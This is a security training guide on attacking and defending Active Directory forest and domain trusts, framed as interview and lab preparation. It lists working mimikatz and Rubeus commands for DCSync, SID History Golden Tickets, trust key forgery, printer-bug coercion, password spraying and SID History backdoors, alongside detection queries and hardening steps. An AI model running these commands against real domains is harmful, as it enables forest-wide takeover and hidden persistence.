Active Directory Forest and Trust Attacks
Master the complex world of Active Directory forests and trusts. This guide covers enterprise-level attack techniques that separate senior security engineers from juniors.
Quick Reference
| Trust Type | Direction | Authentication | Attack Potential |
|---|---|---|---|
| Parent-Child | Bidirectional | Kerberos | SID History abuse |
| Tree-Root | Bidirectional | Kerberos | Forest-wide compromise |
| External | One-way/Two-way | NTLM | Limited by SID filtering |
| Forest | One-way/Two-way | Kerberos/NTLM | Depends on SID filtering |
| Shortcut | Bidirectional | Kerberos | Performance optimization |
| Realm | One-way/Two-way | Kerberos | Non-Windows integration |
Understanding AD Forests and Trusts
Forest Architecture
┌─────────────────────────────────────────────────────────────┐
│ FOREST: corp.local │
│ ┌─────────────────────────────────────────────────────────┐│
│ │ Root Domain: corp.local ││
│ │ ┌─────────────┐ ┌─────────────┐ ││
│ │ │ Enterprise │ │ Schema │ ││
│ │ │ Admins │ │ Admins │ ││
│ │ └─────────────┘ └─────────────┘ ││
│ └─────────────────────────────────────────────────────────┘│
│ │ │ │
│ ▼ ▼ │
│ ┌─────────────────┐ ┌─────────────────┐ │
│ │ Child Domain │ │ Child Domain │ │
│ │ us.corp.local │ │ eu.corp.local │ │
│ └─────────────────┘ └─────────────────┘ │
└─────────────────────────────────────────────────────────────┘
│
│ Forest Trust
▼
┌─────────────────────────────────────────────────────────────┐
│ FOREST: partner.local │
└─────────────────────────────────────────────────────────────┘
Trust Types Explained
| Trust Type | Created | Use Case | Security Notes |
|---|---|---|---|
| Parent-Child | Automatic | Domain hierarchy | Transitive, inherent risk |
| Tree-Root | Automatic | Multiple trees in forest | Transitive |
| External | Manual | Legacy NT4 or one domain | Non-transitive, NTLM only |
| Forest | Manual | Inter-organization | Transitive within forests |
| Shortcut | Manual | Speed up authentication | Performance optimization |
| Realm | Manual | MIT Kerberos (Linux) | Cross-platform integration |
Enumerating Trusts
Discovery Commands
# PowerShell - Enumerate all domain trusts
Get-ADTrust -Filter *
# PowerShell - Enumerate forest trusts
Get-ADForest | Select-Object -ExpandProperty Domains
# NetDOM - Detailed trust information
netdom trust corp.local /domain:partner.local /verify
# nltest - Quick trust enumeration
nltest /domain_trusts /all_trusts
# Get trust direction and type
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
BloodHound Trust Enumeration
# Collect trust data with SharpHound
.\SharpHound.exe -c Trusts
# Cypher query - Find all trusts
MATCH p=()-[:TrustedBy]->() RETURN p
# Find foreign group members
MATCH p=(n:User)-[:MemberOf]->(g:Group)
WHERE n.domain <> g.domain
RETURN p
PowerView Enumeration
# Import PowerView
Import-Module PowerView.ps1
# Get all domain trusts
Get-DomainTrust
# Get forest trusts
Get-ForestTrust
# Get foreign users in local groups
Get-DomainForeignUser
# Get foreign group members
Get-DomainForeignGroupMember
Attack Path 1: Child to Parent Domain
Understanding the Attack
When you compromise a child domain, you can escalate to the parent domain (and entire forest) using the implicit trust relationship.
Prerequisites:
- Domain Admin in child domain
- krbtgt hash from child domain
SID History Attack
# Step 1: Get the child domain's krbtgt hash
mimikatz # lsadump::dcsync /domain:us.corp.local /user:krbtgt
# Step 2: Get the parent domain's SID
Get-DomainSID -Domain corp.local
# Output: S-1-5-21-1234567890-1234567890-1234567890
# Step 3: Get Enterprise Admins group SID (parent domain SID + 519)
# Enterprise Admins SID: S-1-5-21-1234567890-1234567890-1234567890-519
# Step 4: Create Golden Ticket with SID History
mimikatz # kerberos::golden /user:Administrator /domain:us.corp.local \
/sid:S-1-5-21-CHILD-DOMAIN-SID \
/krbtgt:CHILD_KRBTGT_HASH \
/sids:S-1-5-21-PARENT-DOMAIN-SID-519 \
/ptt
# Step 5: Access parent domain DC
dir \\dc.corp.local\c$
Using Rubeus
# Create inter-realm TGT
Rubeus.exe golden /user:Administrator /domain:us.corp.local \
/sid:S-1-5-21-CHILD-SID /aes256:CHILD_KRBTGT_AES \
/sids:S-1-5-21-PARENT-SID-519 /nowrap
# Use the ticket
Rubeus.exe ptt /ticket:<base64_ticket>
# Verify access
dir \\parent-dc.corp.local\c$
Attack Flow Diagram
┌────────────────────────────────────────────────────────────┐
│ Child Domain: us.corp.local │
│ │
│ 1. Compromise Domain Admin │
│ 2. DCSync → Get krbtgt hash │
│ 3. Get parent domain SID │
│ 4. Create Golden Ticket with: │
│ - Child domain krbtgt │
│ - SID History = Enterprise Admins (parent-519) │
└────────────────────────────────────────────────────────────┘
│
▼ Inter-realm TGT
┌────────────────────────────────────────────────────────────┐
│ Parent Domain: corp.local │
│ │
│ 5. Present ticket to parent DC │
│ 6. DC sees Enterprise Admins in SID History │
│ 7. Grants access as Enterprise Admin │
│ 8. Full forest compromise │
└────────────────────────────────────────────────────────────┘
| Attack | Detect | Defend |
|---|---|---|
| Golden Ticket with SID History | Event 4769 with suspicious SID | Enable SID filtering on all trusts |
| Child-to-parent escalation | Monitor for Enterprise Admin SID in child tickets | Implement Credential Guard |
| Inter-realm TGT forgery | Unusual TGT requests across trust | Use Protected Users group |
Attack Path 2: Cross-Forest Attacks
When SID Filtering is Disabled
# Check if SID filtering is enabled
netdom trust corp.local /domain:partner.local /quarantine
# If disabled, same SID History attack works
mimikatz # kerberos::golden /user:Administrator /domain:corp.local \
/sid:S-1-5-21-CORP-SID \
/krbtgt:CORP_KRBTGT_HASH \
/sids:S-1-5-21-PARTNER-SID-519 \
/ptt
Exploiting Foreign Group Membership
# Find users from Forest A that are members of groups in Forest B
Get-DomainForeignGroupMember -Domain partner.local
# If you compromise a user from corp.local who is in partner.local's groups
# You can access resources in partner.local
# Enumerate what the foreign user can access
Get-DomainObjectAcl -Domain partner.local -ResolveGUIDs |
? {$_.SecurityIdentifier -match "S-1-5-21-CORP-DOMAIN-SID"}
Trust Key Attack (Forest Trust)
# Step 1: Get the inter-realm trust key (requires DA in trusting domain)
mimikatz # lsadump::trust /patch
# Step 2: Forge inter-realm TGT
mimikatz # kerberos::golden /user:Administrator /domain:corp.local \
/sid:S-1-5-21-CORP-SID \
/rc4:TRUST_KEY_NTLM \
/service:krbtgt /target:partner.local \
/ptt
# Step 3: Request service ticket for target forest
Rubeus.exe asktgs /ticket:<inter-realm-TGT> \
/service:cifs/dc.partner.local /ptt
Printer Bug + Unconstrained Delegation
# If DC in Forest B has unconstrained delegation to service in Forest A
# Step 1: Compromise server with unconstrained delegation
# Step 2: Use SpoolSample/PrinterBug to coerce Forest B DC
SpoolSample.exe dc.partner.local compromised-server.corp.local
# Step 3: Capture TGT from Forest B DC
Rubeus.exe monitor /interval:5
# Step 4: Use DC's TGT to DCSync partner.local
mimikatz # lsadump::dcsync /domain:partner.local /user:krbtgt
Attack Path 3: Attacking External Trusts
Characteristics of External Trusts
- Non-transitive (limited to two domains)
- NTLM authentication only
- SID filtering enabled by default
- Often created for legacy compatibility
Exploitation Techniques
# Enumerate external trust
Get-ADTrust -Filter {TrustType -eq "External"}
# Password spray across trust (NTLM)
crackmapexec smb dc.external.local -u users.txt -p 'Password123!' -d external.local
# If you have valid credentials, enumerate
Get-DomainUser -Domain external.local -Credential $cred
Kerberos Attacks Across External Trusts
# Kerberoasting across trust (if Kerberos is enabled)
Get-DomainUser -SPN -Domain external.local |
Request-SPNTicket -Domain external.local
# AS-REP roasting across trust
Get-DomainUser -PreauthNotRequired -Domain external.local
SID History Persistence
Creating SID History Backdoor
# After compromising a domain, add SID History for persistence
# Requires mimikatz on DC or DCSync rights
# Add Enterprise Admin SID to regular user
mimikatz # sid::patch
mimikatz # sid::add /sam:backdoor_user /new:S-1-5-21-PARENT-SID-519
# Verify SID History
Get-ADUser backdoor_user -Properties SIDHistory
# This user now has EA rights despite normal group membership
Why SID History Persists
- Survives password changes
- Doesn’t show in group membership
- Often missed in security reviews
- Works across trust boundaries
Detection
# Find users with SID History
Get-ADUser -Filter {SIDHistory -like "*"} -Properties SIDHistory
# Find suspicious SID History (high-privilege SIDs)
$privilegedSIDs = @("-500", "-502", "-512", "-516", "-518", "-519", "-521")
Get-ADUser -Filter {SIDHistory -like "*"} -Properties SIDHistory |
ForEach-Object {
$user = $_
$_.SIDHistory | ForEach-Object {
if ($privilegedSIDs | Where-Object { $_.Value -like "*$_" }) {
Write-Output "ALERT: $($user.SamAccountName) has privileged SID History: $_"
}
}
}
Interview Deep Dive
Q: Explain the difference between SID filtering and SID History.
A: SID History is an AD attribute that stores previous SIDs when objects migrate between domains - it allows users to maintain access to old resources. SID filtering is a security mechanism that strips SID History from authentication tickets crossing trust boundaries. Without SID filtering, an attacker who compromises a trusted domain can add Enterprise Admins SID to SID History and gain administrative access across the trust. Best practice is enabling quarantine mode on all trusts except parent-child (where it’s disabled by default for legitimate migration scenarios).
Q: How would you escalate from child domain admin to enterprise admin?
A: The attack exploits the implicit bidirectional trust between parent and child domains:
- Obtain krbtgt hash from child domain via DCSync
- Identify parent domain SID
- Craft Golden Ticket including Enterprise Admins SID (parent-SID-519) in the SID History field
- Present inter-realm TGT to parent DC
- The DC honors the SID History since SID filtering is disabled between parent-child by default
- Gain Enterprise Admin access to entire forest
Q: What’s the difference between forest trusts and external trusts from a security perspective?
A: Key differences:
| Aspect | Forest Trust | External Trust |
|---|---|---|
| Transitivity | Transitive (all domains in both forests) | Non-transitive (two specific domains) |
| Authentication | Kerberos and NTLM | NTLM only |
| SID Filtering | Optional, often disabled | Enabled by default |
| Attack Surface | Larger (entire forests) | Smaller (single domain) |
| Use Case | Strategic partnerships | Legacy/specific integrations |
Forest trusts are riskier because one compromised domain can potentially access all domains in the partner forest.
Q: How do you detect cross-forest attacks?
A: Detection strategies:
-
Event Monitoring:
- Event 4769 (TGS requests) with foreign domain SPNs
- Event 4768 (TGT requests) with SID History present
- Event 4624 (Logon) from foreign domains
-
Trust Auditing:
- Monitor
netdom trust /verifyregularly - Alert on trust property changes
- Log all cross-trust authentication
- Monitor
-
SID History Monitoring:
- Regular scans for users with SID History
- Alert on privileged SIDs in SID History
- Validate SID History against migration records
-
Behavioral Analysis:
- Unusual cross-domain access patterns
- Service accounts accessing foreign domains
- After-hours cross-trust authentication
Q: What’s the security impact of Selective Authentication vs Forest-wide Authentication?
A: Forest-wide Authentication (default): Any user from the trusted forest can authenticate to any resource in the trusting forest. Relies entirely on resource permissions for access control.
Selective Authentication: Users from trusted forest can only authenticate to resources explicitly granted the “Allowed to Authenticate” permission. Provides additional layer of access control at the trust level.
Security Impact:
- Selective Authentication significantly reduces attack surface
- Requires explicit permission for each cross-forest access
- Breaks “authenticate once, access everything” attack pattern
- Recommended for all forest trusts with external organizations
Hands-on Lab Scenarios
Lab 1: Trust Enumeration
Objective: Map all trust relationships in a multi-forest environment.
# 1. Enumerate local domain trusts
Get-ADTrust -Filter * | Format-Table Name, Direction, TrustType
# 2. Check for SID filtering status
foreach ($trust in Get-ADTrust -Filter *) {
$status = netdom trust $env:USERDNSDOMAIN /domain:$($trust.Name) /quarantine 2>&1
Write-Output "$($trust.Name): $status"
}
# 3. Find foreign principals
Get-ADObject -Filter {objectClass -eq "foreignSecurityPrincipal"} -SearchBase "CN=ForeignSecurityPrincipals,DC=corp,DC=local"
# 4. Map trust graph with BloodHound
MATCH p=()-[:TrustedBy]->() RETURN p
Lab 2: Child-to-Parent Escalation
Objective: Escalate from child DA to forest EA.
# Prerequisites: Domain Admin in child.corp.local
# 1. DCSync krbtgt from child domain
mimikatz # lsadump::dcsync /domain:child.corp.local /user:krbtgt
# 2. Get parent domain SID
$ParentSID = (Get-ADDomain -Server corp.local).DomainSID.Value
# 3. Craft Golden Ticket with EA SID History
mimikatz # kerberos::golden /user:fakeadmin /domain:child.corp.local /sid:$ChildSID /krbtgt:$ChildKrbtgtHash /sids:$ParentSID-519 /ptt
# 4. Verify access to parent DC
dir \\dc.corp.local\c$
# 5. DCSync parent domain for full compromise
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt
Lab 3: SID History Backdoor
Objective: Create persistent backdoor using SID History.
# 1. Create normal-looking user
New-ADUser -Name "svc_backup" -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Enabled $true
# 2. Add SID History (requires mimikatz on DC)
mimikatz # privilege::debug
mimikatz # sid::patch
mimikatz # sid::add /sam:svc_backup /new:S-1-5-21-PARENT-SID-512
# 3. Verify SID History added
Get-ADUser svc_backup -Properties SIDHistory
# 4. Test - this user now has DA rights
runas /user:corp\svc_backup cmd
whoami /groups # Should show Domain Admins
# Detection query - find this backdoor
Get-ADUser -Filter {SIDHistory -like "*"} -Properties SIDHistory, Description |
Select Name, SIDHistory, Description
Detection and Defense
Windows Event IDs
| Event ID | Description | Indicates |
|---|---|---|
| 4769 | Kerberos Service Ticket | Cross-domain TGS requests |
| 4768 | Kerberos TGT Request | Inter-realm TGT creation |
| 4765 | SID History added | Potential persistence |
| 4766 | SID History add failed | Attack attempt |
| 4624 | Logon success | Cross-trust authentication |
Splunk Detection Queries
# Detect cross-forest authentication
index=windows EventCode=4769
| where ServiceName LIKE "%$" AND TargetDomainName!=SourceDomainName
| stats count by SourceDomainName, TargetDomainName, ServiceName
# Detect SID History modification
index=windows (EventCode=4765 OR EventCode=4766)
| stats count by TargetUserName, SubjectUserName, EventCode
# Detect potential Golden Ticket with SID History
index=windows EventCode=4769
| where isnotnull(SidHistory) AND SidHistory LIKE "%-519" OR SidHistory LIKE "%-512"
| table _time, TargetUserName, ServiceName, SidHistory
Microsoft Defender for Identity Alerts
| Alert | Description |
|---|---|
| Suspicious SID History addition | SID History modified outside migration |
| Forest trust reconnaissance | Enumeration of trust relationships |
| Golden Ticket activity | Forged Kerberos ticket detected |
| Potential lateral movement | Unusual cross-domain access |
Hardening Recommendations
| Control | Implementation | Impact |
|---|---|---|
| Enable SID filtering | netdom trust /quarantine:yes | Blocks SID History attacks |
| Selective Authentication | Trust properties → Selective | Limits cross-forest access |
| Protected Users | Add privileged accounts | Prevents credential theft |
| Credential Guard | Enable via GPO | Protects LSASS |
| PAM Trust | Enable Privileged Access Management | Time-limited cross-forest access |
| Tier Model | Separate admin accounts | Limits blast radius |
Common Misconfigurations
1. SID Filtering Disabled on Forest Trusts
# Check
netdom trust corp.local /domain:partner.local /quarantine
# If "Domain is not in quarantine" - SID filtering is DISABLED
# Fix
netdom trust corp.local /domain:partner.local /quarantine:yes
2. Forest-wide Authentication on External Trusts
# Check trust authentication level
Get-ADTrust -Filter {Name -eq "partner.local"} |
Select SelectiveAuthentication
# If False - any user can authenticate everywhere
# Fix - Enable Selective Authentication
Set-ADTrust -Identity "partner.local" -SelectiveAuthentication $true
3. Excessive Cross-Forest Group Membership
# Find foreign principals with privileged access
Get-ADGroupMember -Identity "Domain Admins" -Server partner.local |
Where-Object { $_.distinguishedName -notlike "*DC=partner,DC=local" }
# Review and remove unnecessary memberships
4. Missing Trust Monitoring
- No logging of cross-trust authentication
- Trust changes not alerted
- SID History not periodically audited
Attack/Detect/Defend Summary
| Attack | Detect | Defend |
|---|---|---|
| Child-to-parent escalation | Event 4769 with EA SID in SID History | Credential Guard, Protected Users |
| Cross-forest Golden Ticket | Unusual inter-realm TGT, Event 4768 anomalies | Enable SID filtering |
| Foreign group abuse | BloodHound queries for foreign members | Regular access reviews |
| Trust key extraction | LSASS access on DCs | LSA Protection, Credential Guard |
| SID History backdoor | Event 4765, periodic SID History audits | Monitor SID History changes |
| Printer Bug coercion | Unusual SMB/RPC to print spooler | Disable Print Spooler on DCs |
Tools Reference
| Tool | Purpose | Command |
|---|---|---|
| BloodHound | Trust visualization | SharpHound.exe -c Trusts |
| Mimikatz | Ticket crafting | kerberos::golden /sids: |
| Rubeus | Kerberos attacks | golden /sids: |
| PowerView | Trust enumeration | Get-DomainTrust |
| ADModule | Native enumeration | Get-ADTrust |
| SpoolSample | Printer Bug coercion | SpoolSample.exe dc target |
What’s Next?
- Active Directory Attack Path Guide - Fundamentals of AD attacks
- Detection Engineering Basics - Build detections for these attacks
- Burp Suite Professional Workflow - Web application testing
Key Takeaways
- Parent-child trusts are dangerous - SID filtering disabled by default enables forest-wide compromise from any child
- Always enumerate trusts - Map the attack surface before attempting escalation
- SID History is powerful - For both attackers (persistence) and administrators (migration)
- Forest trusts need quarantine - Enable SID filtering on all cross-forest trusts
- Selective Authentication matters - Use it instead of forest-wide authentication
- Monitor cross-trust activity - Most organizations have blind spots here